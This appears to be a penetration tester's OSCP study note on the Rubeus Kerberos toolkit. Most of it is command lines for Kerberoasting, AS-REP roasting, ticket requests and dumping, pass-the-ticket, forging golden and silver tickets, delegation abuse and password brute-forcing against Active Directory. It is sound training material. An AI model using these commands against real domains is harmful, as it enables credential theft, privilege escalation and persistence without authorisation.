Pearson's OSCP Notebook

Rubeus

Properties1
tagsrubeus, kerberos, kerberoasting, as-rep-roasting, pass-the-ticket, golden-ticket, active-directory, windows, lateral-movement

4 min read

Rubeus — Kerberos Abuse Toolkit

External: Internal All The Things — Kerberos Tickets External: Internal All The Things — OverPass-the-Hash External: Internal All The Things — Pass The Key

What is Rubeus?

Rubeus (GhostPack/Rubeus) is a C# tool for Kerberos abuse on Windows. Run it on a domain-joined machine or from a shell with domain creds — complements Linux tools like Impacket and Kerbrute.

OSCP use: On-box Kerberos when you have a Windows shell — roast SPNs, grab AS-REP hashes, Pass-the-Ticket, request TGTs/TGSs, abuse delegation. Often faster than uploading Impacket scripts.

Requires: Domain user context (or explicit /creduser + password/hash). Most commands need network access to the DC (port 88).

Linux/Kali equivalent needs Kerberos Setup - krb5.conf + Time Sync-Clock Skew before impacket-getTGT / -k. Rubeus on Windows does not use Kali /etc/krb5.conf.

📌 Rubeus vs Other Tools

TaskLinuxWindows (Rubeus)
Kerberoastimpacket-GetUserSPNs -requestRubeus.exe kerberoast
AS-REP roastimpacket-GetNPUsersRubeus.exe asreproast
Request TGTimpacket-getTGTRubeus.exe asktgt
Pass-the-Ticketexport KRB5CCNAME=...Rubeus.exe ptt /ticket:...
Dump tickets—Rubeus.exe triage / dump

Deep roast workflow: Kerberoast · Impacket Kerberos: Kerberos Scripts

📌 Install (Kali)

sudo apt update && sudo apt install -y rubeus
DetailValue
Packagerubeus
Wrapperrubeus (CLI on Kali — shows help)
Binary/usr/share/windows-resources/rubeus/Rubeus.exe
Run on targetTransfer Rubeus.exe — tool is Windows-only at runtime
rubeus -h
# > rubeus ~ Raw Kerberos interaction and abuses
 
ls /usr/share/windows-resources/rubeus/Rubeus.exe

→ Installation - Kali Setup

📌 Running Rubeus

On Kali (help / copy binary)

rubeus -h
cp /usr/share/windows-resources/rubeus/Rubeus.exe /path/for/transfer/
python3 -m http.server 8080
 
python3 -m http.server -d /usr/share/windows-resources/rubeus/ 80

On Windows target

# Download to target (or transfer via evil-winrm)
.\Rubeus.exe
 
# Help for a command
.\Rubeus.exe kerberoast /?

No install on target — single .exe. Run from cmd or PowerShell in user context with Kerberos access to the domain.

→ File Transfer · certutil · evil-winrm

📌 Kerberoasting

Request TGS tickets for SPN accounts → crack offline with Hashcat (-m 13100).

# Full roast — all kerberoastable accounts
.\Rubeus.exe kerberoast /outfile:kerberoast.txt
 
# Hashcat format
.\Rubeus.exe kerberoast /format:hashcat /outfile:kerberoast.txt
 
# RC4 only (etype 23 — easiest to crack)
.\Rubeus.exe kerberoast /rc4opsec /outfile:kerberoast.txt
 
# Single SPN
.\Rubeus.exe kerberoast /spn:MSSQLSvc/db01.corp.local:1433 /outfile:kerberoast.txt
 
# Alternate creds
.\Rubeus.exe kerberoast /creduser:corp.local\user /credpassword:Password1 /outfile:kerberoast.txt
.\Rubeus.exe kerberoast /creduser:corp.local\user /creddomain:corp.local /credpassword:Password1 /outfile:kerberoast.txt
 
# Use TGT delegation trick (no pre-requested TGT needed in some cases)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:kerberoast.txt

Crack on Kali:

hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

📌 AS-REP Roasting

Target accounts with preauth disabled — no password needed to get crackable blob.

# Enum + roast all vulnerable users
.\Rubeus.exe asreproast /outfile:asrep.txt
 
# Hashcat format
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
 
# Specific user
.\Rubeus.exe asreproast /user:jsmith /format:hashcat /outfile:asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

📌 Ticket Operations

Request TGT / TGS

# TGT with password
.\Rubeus.exe asktgt /user:jsmith /password:Password1 /domain:corp.local /outfile:jsmith.kirbi
 
# TGT with NTLM hash
.\Rubeus.exe asktgt /user:jsmith /rc4:NTLM_HASH /domain:corp.local /outfile:jsmith.kirbi
 
# TGS for a service
.\Rubeus.exe asktgs /ticket:jsmith.kirbi /service:cifs/dc01.corp.local /outfile:dc01.kirbi

Pass-the-Ticket (PtT)

# Import ticket into current logon session
.\Rubeus.exe ptt /ticket:jsmith.kirbi
 
# Base64 ticket
.\Rubeus.exe ptt /ticket:BASE64_BLOB
 
# Then access resources as that user
dir \\dc01.corp.local\c$

Triage / dump existing tickets

# Show tickets in current session
.\Rubeus.exe triage
 
# Dump all readable tickets (needs elevation for some)
.\Rubeus.exe dump /outfile:tickets.txt
 
# Monitor for new tickets
.\Rubeus.exe monitor /interval:5

📌 Golden & Silver Tickets

Requires krbtgt hash (golden) or service account hash (silver) — usually from Mimikatz / secretsdump.

# Golden ticket (domain admin persistence)
.\Rubeus.exe golden /rc4:KRBTGT_NTLM_HASH /user:Administrator /domain:corp.local /sid:S-1-5-21-... /outfile:golden.kirbi
.\Rubeus.exe ptt /ticket:golden.kirbi
 
# Silver ticket (specific service — no DC comms needed for access)
.\Rubeus.exe silver /service:cifs/dc01.corp.local /rc4:SERVICE_NTLM_HASH /user:Administrator /domain:corp.local /sid:S-1-5-21-... /outfile:silver.kirbi
.\Rubeus.exe ptt /ticket:silver.kirbi

See Kerberos for concepts · Forge with Impacket: Kerberos Scripts (ticketer)

📌 S4U / Delegation Abuse

Abuse constrained delegation when you control an account trusted to impersonate others.

# S4U2Self + S4U2Proxy — get a TGS as another user to a service
.\Rubeus.exe s4u /ticket:service_account.kirbi /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local /outfile:admin_cifs.kirbi
.\Rubeus.exe ptt /ticket:admin_cifs.kirbi

📌 Other Useful Commands

# Brute force Kerberos preauth (user enum)
.\Rubeus.exe brute /password:Password1 /domain:corp.local /outfile:valid_users.txt
 
# Change password (if permitted)
.\Rubeus.exe changepw /ticket:jsmith.kirbi /new:NewPassword123!
 
# Purge tickets from session
.\Rubeus.exe purge
 
# Renew TGT
.\Rubeus.exe renew /ticket:jsmith.kirbi /outfile:jsmith_renewed.kirbi

📌 Quick OSCP Cheat Sheet

# ─── ROAST ────────────────────────────────────────────────────
.\Rubeus.exe kerberoast /format:hashcat /outfile:kerb.txt
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
 
# ─── PASS-THE-TICKET ──────────────────────────────────────────
.\Rubeus.exe asktgt /user:user /password:pass /domain:corp.local /outfile:user.kirbi
.\Rubeus.exe ptt /ticket:user.kirbi
 
# ─── TRIAGE ───────────────────────────────────────────────────
.\Rubeus.exe triage
.\Rubeus.exe dump

Graph View

Backlinks